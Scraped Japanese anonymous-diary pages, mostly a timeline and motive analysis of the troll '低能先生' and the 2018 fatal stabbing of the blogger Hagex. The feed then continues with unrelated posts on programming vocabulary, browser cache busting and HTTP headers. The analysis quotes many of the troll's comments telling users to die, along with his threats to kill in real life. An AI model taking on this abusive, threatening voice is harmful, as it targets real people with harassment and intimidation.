低脳先生は彼の定義する「ネットリンチ」の被害者ではなく,ネットリンチを憎む「正義」漢.Hagexやきょうもえは低脳先生から一年くらい前からネットリンチを煽る悪として憎悪されていた.」(ttp://b.hatena.ne.jp/entry/366621416/comment/triggerhappysundaymorning)

※ただしhagexやkyoumoeが絡んでいなくても、低能先生にとって気に入らない形での炎上記事があればIDコールで罵倒された(ttp://archive.is/h4i07、ttp://archive.is/ypPAb ※日を置いて、まったく同じブコメにまったく同じ内容で罵倒する低能先生

 

5. hagexブログ投稿以後、通報運動が盛り上がる(?)※hagex通報しようと呼びかけたわけではない

ttps://anond.hatelabo.jp/20180503145814

※このエントリ低能先生が書いたと思われる「訴えられたらリアル報復する~」というトラバがついている

参考)ttps://anond.hatelabo.jp/20180627125053

 

6. 低能先生と思われる人物が「通報厨」を憎んでいる様子が増田投稿される

ttps://anond.hatelabo.jp/20180626180411

 

7. 5や6で低能先生が「俺にはゴミクズリアルで殺す以外の逃げ場所はなくなっている」といった書き込みをしていたことを受け、6/9に発生した東海道新幹線車内での殺傷事件犯人が「低能先生」ではないかという推測が6/10増田投稿される

ttps://archive.is/Ge1Dk

※直接そう書いた増田サルベージできなかったので、低能先生犯人説が出たことへのリアクション傍証として記載する

 

8. 7に対し、「『低能先生』に人を殺せる筈がない」という煽りコメントがつく

ttps://mainichi.jp/articles/20180628/k00/00m/040/191000c

 

9. 低能先生hagexセミナー認識したのは「1カ月くらい前にネットで知った」

ttps://www.nishinippon.co.jp/nnp/national/article/427874/

容疑者セミナーについて「1カ月くらい前にネットで知った」と言い、「被害者本名は知らないが、ネットで顔を見たことがあった。会議室のぞき、こいつがHagexだと確認した」と供述

 

10. 6/25、福岡市中央区起業支援施設hagexが刺される

ttps://www3.nhk.or.jp/news/html/20180625/k10011494521000.html

 

11. 事件発生後容疑者自首する前に、6で増田投稿されたエントリひとつ低能先生と思われるユーザーの犯行声明がつく

ttps://archive.is/0NpPy

ttps://archive.is/bkscO

 

なぜ低能先生殺人事件を起こしたのか

ニュースでは「ネット上で被害者を恨んでいた」などという低能先生供述が示されていた(ttps://www3.nhk.or.jp/news/html/20180625/k10011494521000.html)が、基本的には上述した6と11から読み取れることが動機だろう。

低能先生です」と通報されアカウントが停止するムーヴメント自体を憎んでおり、大きな犯罪を犯すことで自らがネット弁慶ではないことを証明すると同時にその引き金になった通報厨と運営への報復を果たす。低能先生がやりたかったのはそういうことだと思う。

 

なぜhagexだったのか

基本的には刺しに行ける範囲に来た、低能先生からしてみれば「通報厨」といえるはてなユーザhagexだった(面割れしてた)、ということだと思う(低能先生は5/3の増田投稿で「報復の後で「こんなことになるとは思ってなかった」とか頭悪い台詞を言うのだけはやめてくれよなw」と述べており(ttps://anond.hatelabo.jp/20180626180411)、かつhagexは5/11に行われた阿佐ヶ谷ロフトイベントにも登壇している(ttp://hagex.hatenadiary.jp/entry/2018/04/16/033427)が、そちらには行っていない)。

事件直後の低能先生第一声が「おいネット弁慶卒業してきたぞ」であり、hagexを刺したということに触れていないことからもそれは伺える。

対象hagexだったことに、4で示したエントリの影響がゼロとは言えないし、hagexに対して低能先生罵倒を繰り返し、hagex通報で応じていたこからも両者の仲が良くなかったことは明らかだ。しかhagex個人への復讐を果たすための凶行でなかったことは、6や11での書き込みを見ても明らかだろうと思われる。

 

 

https://www.kakuhito.net/entry/2018/06/28/133453

低能先生」のブコメ(閲覧注意)

ブコメがひどいらしいのでcacheが消える前にまとめます。某所には画像で出回っていたような気もします。

以下罵詈雑言しかありませんので注意してください。ほぼIDコールなのでIDは消してあります

追記

低能」で除外はしていませんが、重複するコメントは除外してます

IDコールを晒さないでほしいとの事で確認しましたがどのコメントが該当するか掴めませんでした。

おそらく複数アカウントで同じ内容のコメント複数人コールしている事から生じていると思われます

見落としてるだけかも知れませんが‥申し訳ありません。

はいこいつが今回の集団リンチ先導者。今すぐ死ね

おいおいそこは集団リンチはやめてって言うところだろうが~。人をなまはげみたいな使い方するな

自分への非難を「なんか湧いてきた」で誤魔化すゴミクズ。早く死ねよな

炎上させてんのはてめーだろうが。芸人というレッテル相手炎上を狙っているかのようにして自分を免罪すんなゴミクズ。今すぐ死ね

「遊びを詐欺と言う人たちこそキチガイ」と書いてあるな。どこにも「気に食わないかキチガイ」だなんて書いてないな。キチガイは読解力無さ杉なんだよwww

人の内心を勝手に決め付けんな。はあちゅう西野の件に言及する権利も無いってか? 今すぐ死ねゴミクズ

燃やしてるお前が言うな。今すぐ死ね

お前はゴミクズだがな。早く死ね

人生辛いんだね」レッテルで誤魔化すのって「遊び」のレッテル貼るのとまじで同レベルなんだよなあw ほんと知能が低い奴はこれだから

お前らは通報という暴力で都合の悪い指摘を黙らせてるだろうが。早く死ね恥知らず

運動を滅ぼしたのを個人のせいにするなよ羽虫w

いやこの件はちゃん美術館が建つことに成功すれば被害者は出ないよw 万引きといっしょにすんな低能

キチガイは駄目だけど(炎上してるのは相手芸人からで、自分らが集団リンチしてるのは悪くないという意味の)炎上芸人はいいんだー。率直に言って、死ねしか言いようが無い

相撲協会叩きそっちのけで はあちゅう集団リンチしてる奴がなんか言ってる~w

お前は本当に頭が悪いなあ。この発言の中での目的は「遊び・企画」だ。金はそのための手段しかない。国語能力低すぎだよお前w

http://webcache.googleusercontent.com/search?q=cache:nfQ-hrkm_bQJ:b.hatena.ne.jp/abval/

俺は命がけで報復するつってんだろ。お前のような集団リンチ法律正当化しようとするゴミクズには屈しないって。偶発的な事故でも起きない限りこれ以外の展開にはならな

http://b.hatena.ne.jp/entry/b.hatena.ne.jp/entry/364730701/comment/grobgfa

発言内容でなく話者の方にだけ関心が向くって、低能あるあるだよな~w

さすが性根の腐った低能ネトウヨだな。感覚が歪みきっている。早く死ねよな

金を払いさえすれば何をしても怒られないと思ってるのか。生きているに値しないな。死ね

自分に甘いゴミクズだな。否定意見と言っても相手のためを思っているか相手を貶めて自分がニヤニヤしたいだけかなんて大体わかるもんだぞゴミクズ。己の悪趣味さを正当化すんな。わかったら死ね

糞虫がニヤニヤしながら行う「批判」は限りなく誹謗中傷に近いやつだぞ低能

おいおい迷惑をかけてないって正気かよ。まあナチュラルボーンゴミクズは、善意相手の嫌がることをやるよな。早く死ねよ、迷惑から

はてな村卑劣さがよくあらわれた言葉だな。早く死ね

炎上」を相手意図して引き起こしていると勝手に決め付けて、炎上の名の元に自分が行っている加害行為正当化するな。今すぐ死ねゴミクズ

ゲス死ね

ほんと糞虫は悪趣味だな。今すぐ死ね

何だお前自分は透明だと思ってるの?裸の王様に対抗して透明気取ってんの?w 失笑しかでないが、まあ早く死ねよw

嫌がらせ応援と言い張るな。今すぐ死ねゴミクズ

いやお前のアイコン不快すぎたのでは?

その理屈だと地下アイドルナイフで刺しまくったストーカーも立派なファンになるだろうな。常識で考えろゴミクズ。つーか死ね

この件は丁寧に説明するまでもなく、ゲスハゲ嫌がらせしてるだけだろうよ

残念ながら糞虫に好かれて喜ぶ人間はいないということだな。それが分からないお前も立派な害虫だよ。諦めろw

なんだこいつ金さえ払えば何やってもファンだと思ってるのか。今すぐ死ねゴミクズ

http://archive.is/M0Kmx


犯行関係ありそうな書き込み

通報厨****が「噛みつかないうちは通報しません」とか言い出してる

妥協してるつもりなのか?w

人に噛み付きまくってるきょうもえやハゲックスを放置してるくせに?w

舐めすぎだろ

お前らは俺をいじめで追い詰めて、ぶちきれた俺がいじめっこを殺してやるって誰か襲うところをゴールにしてるんだろうが

その為に某増田ハゲックスは「みんなで通報しよう」と呼びかけたわけで、既に****一匹が通報しないとか言っても無意味な状況になってるんだが

ほんと低能にも困ったもんだ

http://webcache.googleusercontent.com/search?q=cache%3Ahttps%3A%2F%2Fanond.hatelabo.jp%2F20180508154336&oq=cache%3Ahttps%3A%2F%2Fanond.hatelabo.jp%2F20180508154336

2018-06-27

あんまりまとめたくない通報厨まとめ

まとめたくなかったけど気になったので。ため息でるわ。

通報厨の書き込み例。だいたいこんな文章

はてな運営も、低能先生通報してくださいと言っています

低能先生通報にご協力ください

こちらのフォームからエントリURLとともに「低能先生です」とだけ書いて送信すればOKです

警察被害届を提出し捜査を依頼する対応についても検討しているとのことです!

https://www.hatena.ne.jp/faq/qa?c=13


以下ざっくり拾った通報厨による投稿。矢印はトラバ。多分低能先生によるもの

時系列順になおしました

anond:20180502192100

anond:20180503145126 ←訴えられたらリアル報復するって言ってんじゃん おまえらそこまで想定済みでやってるんだよな?w ま、自分危害が及ぶことはない&責任は無いから関知しないってかw ゴミクズ...

anond:20180503154039

anond:20180503225110

anond:20180503225224 ←おっ、議論をするつもりはなく嫌がらせをしたいだけの低能だwww

anond:20180506194654

anond:20180506200721

anond:20180516171836

anond:20180601215732 ←でもきょうもえは通報しないwww

anond:20180607175402 ←いや一人で頑張ってろよw ああもしかして表現の自由を潰すという遠大な目的でもあるのかな?www

anond:20180608215311 ←いやはや俺も頑張らないといかんなあ

anond:20180608215717 ← どうした共犯者w 話そらすなよwww

anond:20180609080759 ←つまりそれは「低能先生ネット弁慶卒業にご協力ください。いっしょに今後の展開につなげましょう」 ということであると、いくら知能の低いお前でも昨日で理解できたよな?w

anond:20180610112026低能先生ネット弁慶卒業にご協力ください」w

anond:20180610114514

anond:20180610125248 ←「この展開は狙い通り」という台詞の準備はできてるか?w

anond:20180613171038 ←そしてその後の展開にご期待くださいw

anond:20180613174147



その他目立ったのでついでに

anond:20180524151130

低能先生は昨晩こんな発言をしているので、もう企業としてのはてな警察に任せたほうが良いと思う

anond:20180524002414

そうだよ

もう俺にはゴミクズリアルで殺す以外の逃げ場所はなくなっているんだよw

はてな運営通報厨の思惑通りだなあw

anond:20180524002930

でもネット上で集団リンチをとめられないんだから実力行使に出るしかないじゃん?

ゴミクズ死ぬまで集団リンチをとめる気は欠片も無いようだし?

いやあ今のところネット発言できるけどネットでも居場所がなくなっちゃえばしかたないよなあ

anond:20180607175617

hagex記事低能先生通報まつりが盛り上がったとき

運営通報者は俺を締め出して殺人へと向かわせている」

とかって盛大に責任転嫁してましたよね

いや共同作業つったろ低能


anond:20180607180156

運営通報者が徒党を組んで低能先生集団リンチしてるのだから低能先生殺人に走っても仕方が無いってことですよねー

違うなw 俺は集団リンチには絶対に屈さないと明言している そのうえで集団リンチを続行している通報厨と糞運営ちゃんは、当然俺の行動の結果をみこしたうえで行っている つまり加...


※追記

ハゲ子氏のブログ5月2日。だから当日と翌日の通報厨と低能先生のやり取り。全部urlうからな。

リンクが多すぎて投稿できない?みたいなのでgoogleキャッシュは全部 h ぬいてあります

ttps://webcache.googleusercontent.com/search?q=cache:N7-JCdolQjMJ:https://anond.hatelabo.jp/20180502192134+&cd=1&hl=ja&ct=clnk&gl=jp

と言いつつその根拠は出せないのが低能だよなw

anond:20180502192216

はい通報



ttps://webcache.googleusercontent.com/search?q=cache:N7-JCdolQjMJ:https://anond.hatelabo.jp/20180502192243+&cd=1&hl=ja&ct=clnk&gl=jp

と言いつつその根拠は出せないのが低能だよなw

anond:20180502192312

はい通報



ttps://webcache.googleusercontent.com/search?q=cache:N7-JCdolQjMJ:https://anond.hatelabo.jp/20180502201246+&cd=1&hl=ja&ct=clnk&gl=jp

と言いつつその根拠は出せないのが低能だよなw

anond:20180502201417

はい通報



ttps://webcache.googleusercontent.com/search?q=cache:N7-JCdolQjMJ:https://anond.hatelabo.jp/20180502224355+&cd=1&hl=ja&ct=clnk&gl=jp

と言いつつその根拠は出せないのが低能だよなw

anond:20180502224531

からですが、キレが無いですね

なんなら通報して差し上げましょうか?



ttps://webcache.googleusercontent.com/search?q=cache:N7-JCdolQjMJ:https://anond.hatelabo.jp/20180502224802+&cd=1&hl=ja&ct=clnk&gl=jp

と言いつつその根拠は出せないのが低能だよなw

anond:20180502224925

通報しました



ttps://webcache.googleusercontent.com/search?q=cache:N7-JCdolQjMJ:https://anond.hatelabo.jp/20180503144249+&cd=1&hl=ja&ct=clnk&gl=jp

と言いつつその根拠は出せないのが低能だよなw

anond:20180503144347

はい通報



ttps://webcache.googleusercontent.com/search?q=cache:N7-JCdolQjMJ:https://anond.hatelabo.jp/anond:20180503144840+&cd=1&hl=ja&ct=clnk&gl=jp

と言いつつその根拠は出せないのが低能だよなw

anond:20180503144911

はい通報


anond:20180503145126

良い機会なので、低能先生通報方法を周知しておきます

下記URLアクセスし、低能先生発言URLとともに「低能先生です」と記入して送信すれば良いです

簡単ですね

ttps://www.hatena.ne.jp/faq/qa?c=13





https://anond.hatelabo.jp/20180626180411

2018-06-18

プログラミングやるようになって初めて出会った英単語 ~初級編~

思いつくまま、順不同です

invoke

void

cascade

increment

validation

carousel

boolean

callback

summation

cache

なお中級、上級、神級の執筆増田諸氏にお任せいたしま

2018-03-01

anond:20180301160349

cache消せば直ってたのにそれさえ知らないのにまだ言ってくるのー。

anond:20180301160015

☓cashe→○cache

時系列と時列系を間違ってないかって話なんだけど

anond:20180301155514

ご親切にどうもありがとうございます自分で直した後でしたけど、cacheさないとずっと前のママかもです。

2017-07-06

無知無理解プロジェクトが殺されそうだ

当方フリーIT 技術者。ある Web ベースシステムを開発しているのだが、プロジェクトマネージャーリーダーをはじめとするメンバー無知無理解のおかげで作業が進まずに困っています

ブラウザーキャッシュの仕組みを少しでも知っている人なら、非 IT 系の方でも読めるように書きました。ぜひ助言をお願いします。

登場人物

私は発注元(A 社)に客先常駐している。私が契約しているのは A 社のグループ会社である B 社だ。

A 社内のチームメンバーは以下のとおり。

さて、今開発しているシステム(以下システム P)はもともとスタンドアローン運用する形態だったが、最近クラウドバージョン提供も始まり現在スタンドアローンバージョンクラウドバージョンの並行開発となっている。X さん、Y さん、Z さんは主にクラウドサーバー管理や、私や W さんが作った部分のテスト担当している。

問題発覚

クラウドバージョンの初めてのアップデートを控えた 6 月に問題が発覚した。コードアップデートすると、ブラウザーキャッシュが効いていて表示がおかしくなるというのだ。

プログラマー以外の 4 人は実は Web システム案件は初めてで、ブラウザーキャッシュの仕組みすら理解していない。X さんから相談を受け、「Web アプリケーションからブラウザーキャッシュクリアーすることはできない。代わりに、HTML から読み込まれる外部リソースの後ろに『?v=3.14』のようなダミークエリ文字列をつければよい。アップデートのたびに数字を変える。これは一般的採用されている手法で、これ以外の解決策はない」ということを伝えた。具体的にコードエディター上で修正イメージを見せて、すべてに対応するのに 1 日あればできる、とも。

これで「そうですか、ではお願いします」となれば、テストを含めて 2、3 日で終わった話なのだが、ここから長い混乱が始まる。

前回リリースから変更のあったファイルの洗い出しを命じられる

X さんから、「変更箇所をなるべく少なくしたいので、前回リリース分と今回リリース分で変更のあったファイルリストを出してほしい」と言われる。変更のないリソースにはクエリ文字列をつけたくないらしい。

内心呆れつつ、Git (ソースコード管理システム)でファイルの変更履歴を調べ、一覧表を提出した。X さんに「それぞれのページでソースコード確認し、この一覧表に載っているファイルにはクエリ文字列がついていることをひとつひとつ確認するのですよね。却って手間が掛かりますよ。それよりも、すべてのファイル対象にしたほうが作るほうもテストするほうも楽です」と伝えた。

問題発生箇所の調査を命じられる

6 月も残り 1 週間を切ったある日、Z さんから、「実際に問題になっているのはどのファイルのどの部分か、スタイルシートのどのクラスID 指定が効いていないのか、V さんが知りたがっている。原因解明に必要なので調べるように」と指示が出る。

私は「ブラウザーキャッシュが効いているためで、キャッシュを消すか無効にすれば直る。今までも修正のたびにテストではキャッシュを消してもらっていたでしょう」と説明するが、調べろ調べろと繰り返すばかり。「そんなことを調べて何になるんですか。キャッシュ問題ですよ?」と言うと、Z さんは手をわなわな震わせて、「お客さまが知りたいと言っているのに、『そんなことを調べて何になるんですか』とはどういうことですか!」と声を荒らげる。しまいには「お客さまのご要望にお応えして私たちお金をもらっている。お客さまからの依頼なら応えるのが当たり前」と言い出す。技術的に意味がないことをいくら説明するも理解されない。

ブラウザーキャッシュの仕組みを基本から説明する

プログラマー 4 氏の知識底上げをしないといつまで経っても平行線だと思い、Redmine (課題管理システム)にブラウザーキャッシュの仕組みを解説する文書投稿した。ほぼ同じものを以下に掲載する。非技術者にも分かりやすく書いたつもりだ。あまりかいことを説明しても混乱させるだけだと思い、リクエストヘッダーの Cache-Control や Expires などは説明を省いた。

キャッシュとは

キャッシュ(cache) とは、一度読み込んだデータを内部に保存しておく機構のことです。2 回目以降の読み込み時はキャッシュを読み込むことで、処理時間の短縮を図ります

ウェブブラウザーにおけるキャッシュ一般に、HTML ファイルおよび HTML から読み込まれる外部リソース(スタイルシートファイルJavaScript ファイル画像ファイルなど)に対して適用されます

キャッシュが作られるタイミング

ブラウザーがあるファイルを読み込もうとする時、キャッシュがなければ実ファイルを読み込んだ上でそのファイルの内容をキャッシュします。

キャッシュが破棄されるタイミング

キャッシュがいつ破棄されるのかは完全にブラウザー依存です。異なるファイルキャッシュが同じ期間だけ存在するかどうかも分かりません。

キャッシュユーザーブラウザー操作で明示的に削除(クリアー)することはできますが、 サーバーからクライアント(ブラウザー)のキャッシュクリアーすることはできません。

ウェブアプリケーションキャッシュ対策

ウェブアプリケーションアップデートした際、クライアントキャッシュ無効にするために、以下の手法がよく使われます

link rel="stylesheet" type="text/css" href="style.css" >
< script type='text/javascript' src='script.js' >< /script >
< img src="picture.jpg" alt="" width="640" height="480" >

このような外部リソース読み込みについて、ファイル名の後ろにクエリ文字列を追加します。

link rel="stylesheet" type="text/css" href="style.css?v=2.4.0" >
< script type="text/javascript" src="script.js?v=2.4.0" >< /script >
< img src="picture.jpg?v=2.4.0" alt="" width="640" height="480" >

スクリプトでない静的ファイルクエリ文字列を付加しても、読み込まれファイルは同じです。つまりstyle.cssstyle.css?v=2.4.0 は同じ style.css というファイルを指します。

ブラウザーが style.cssキャッシュしている状態で、この行を読み込んだとします。

link rel="stylesheet" type="text/css" href="style.css?v=2.4.0" >

ブラウザーは「style.css?v=2.4.0 というファイルキャッシュにない」と判断し、style.css?v=2.4.0 というファイルを読み込みます。結果として、ディスク上の style.css が読み込まれスタイルシート更新されます

この HTML をまた読み込んだ時は、「style.css?v=2.4.0 というファイルキャッシュ済み」と判断し、ディスク上のファイルではなくキャッシュを利用します。

ウェブアプリケーションバージョン 2.5.0 にアップデートする時には、「?v=2.4.0」の部分を「?v=2.5.0」に書き換えてリリースします。

link rel="stylesheet" type="text/css" href="style.css?v=2.5.0" >
< script type="text/javascript" src="script.js?v=2.5.0" >< /script >
< img src="picture.jpg?v=2.5.0" alt="" width="640" height="480" >

同様の仕組みで、2.4.0 時代キャッシュがあっても 2.5.0 用に書き換えられたファイルが読み込まれキャッシュ問題は起こりません。

この手法は、キャッシュ問題解決する手段としては一般的に用いられているものです。俗に「キャッシュバスター (cachebuster)」とも呼ばれます

上記に長々と書いた内容を踏まえ、今回の問題についてご説明します。

「暫定対応」の指示が出る

日経った日の午後。Y さんが A4 判数ページにもなる「調査報告書」を作成した。問題になっているスタイルシートについて前回リリース分と今回リリース予定分の差分を取り、それぞれの行について「新規」「変更」「削除」の印をつけ、「とりあえず、このクラス指定が効いていないだけなので、HTML 中にインラインスタイル(< div style="..." >)で指定すればよい」と結論づけていた。

報告書には「状況から見て、変更・削除されたスタイル指定は影響が出るらしい。新規に追加した部分については影響がないようだ」とも。私が書いた説明を読んでいないのか、理解できなかったのか。

この報告書を元に、X さんから「この行とこの行にインラインスタイル指定してください。これで暫定対応します」と指示が出た。

私は「この修正は何ら根本的な対策になっていないことは理解していますか。『現状で問題になっている箇所』は、この環境たまたまそうなっているだけの話で、ほかのお客さまの環境では別の画面が崩れるかもしれないのです。それを承知の上で、これを暫定対応としてよいのですね」と X さんに確認。X さんは「はい」とだけ答えたので、黙って作業完了した。Gitコミットメッセージに「この方法は何の効果もないこと、それでも作業をしてよいのかを X さんに確認の上、作業」と書いてコミットした。

しばらくすると X さんから「うまく表示されていますOK です」と報告があった。

その日のうちに問題再発

夕方、私が帰ろうとすると、X さんが Y さんに「画面がおかしい」と言っている。横から覗くと、先ほど「暫定対応」とやらを入れた画面で、表示は正常だがボタンを押しても何の反応もない。私は静かに「JavaScriptキャッシュですね」。

聞けば、Y さんは「キャッシュスタイルシートにだけ効く」と思い込んでいたらしい。やはり先の説明を読んでいないようだ。そして、Y さんの環境ではボタン有効だったとも。

私は「Y さんの環境では(JavaScript の)古いキャッシュは効いていなかった。X さんのところではキャッシュが効いていた。これが、私が言っている『環境依存』の意味です。昼の暫定対応ではダメなんです。半月から私が言っているように、すべての外部リソース読み込みにキャッシュバスターをつけないと解決にならないんです」と伝える。

Y さんは観念した様子で、「キャッシュバスターって、一部分にだけ適用することもできますか」と聞く。この人、理解してないなと思いつつ、「はい、できますよ」と返すと、「では、問題の発生している範囲調査して、問題が起こっているファイルにだけキャッシュバスターを……」。やはり何も分かっていない。

私は繰り返し、ブラウザーキャッシュ環境依存なのですべての外部リソース読み込みにキャッシュバスターを付加しないと無意味だと説明した上で、こう付け加えた。

「指示されたことだけを黙ってやっていれば、そりゃあそっちのほうがラクですよ。でも、喧嘩をしてでも、場の雰囲気を悪くしてでも自分意見を主張するのは、技術者としてのちっぽけな良心からです。お願いですから専門家の言うことを聞いてください。私の意見が信用ならないのでしたら、ほかの技術者意見を聞いてください」

対応が先送りになる

この数日後、本件の対応を先送りにすることが決まったと X さんから報告があった。

聞けば、リリースを急いでいるのは特定顧客要望によるものらしい。その顧客スタンドアローンバージョンを利用しているので、アップデートの現地作業の際にブラウザーキャッシュを消してくればいいとのこと。

リリースに間に合わない間に合わないとあれだけ騒いでいたのに。プロジェクト管理がまるでできていない。

レビュー開催

そして今日夕方、この件についてレビューを開きたいとプロジェクトマネージャーの V さんから言われる。レビューって、何をやればいいんだろう。何をすれば気が済むんだろう。Redmine に書いた説明を読んで理解してもらえれば、やるべきことはひとつしかないと分かろうものなのに。

X さんから質問を受ける。「例の件、ほかの方法はないんでしょうか。『こういう方法もあるけれど、工数が掛かるので採用しません』というのがもしあれば話が進めやすいかと」。残念ながらありません、せいぜいファイル名そのものを変更するくらいですが、本質的には同じことですし管理の手間が増大します、と伝えた。

ついでに、X さんに「あの説明を読んで、よく分からない部分があったら教えてください」と尋ねると、実は忙しくて斜め読みしかしていないと白状された。その状態対応策を一生懸命協議していたのですな。

レビューの席でまた一悶着ありそうだ。どうやったら彼らを納得させられるのだろうか。信用できない技術者説明してもらったって、信じないんだったら意味がないのにねえ。

追記

文字数制限に引っかかってしまい、末尾が切れてしまっていました。続きはこちらに書きました。

https://anond.hatelabo.jp/20170706122924

2017-05-02

http://anond.hatelabo.jp/20170501041533

レスポンスヘッダー抜粋

Cache-Control:no-store, no-cache, must-revalidate

Connection:keep-alive

Content-Encoding:gzip

Content-Type:text/html; charset=UTF-8

Pragma:no-cache

Server:cloudflare-nginx

Set-Cookie:CAKEPHP=xxxx

X-Powered-By:PHP/7.0.18

ログイン ユーザー登録
ようこそ ゲスト さん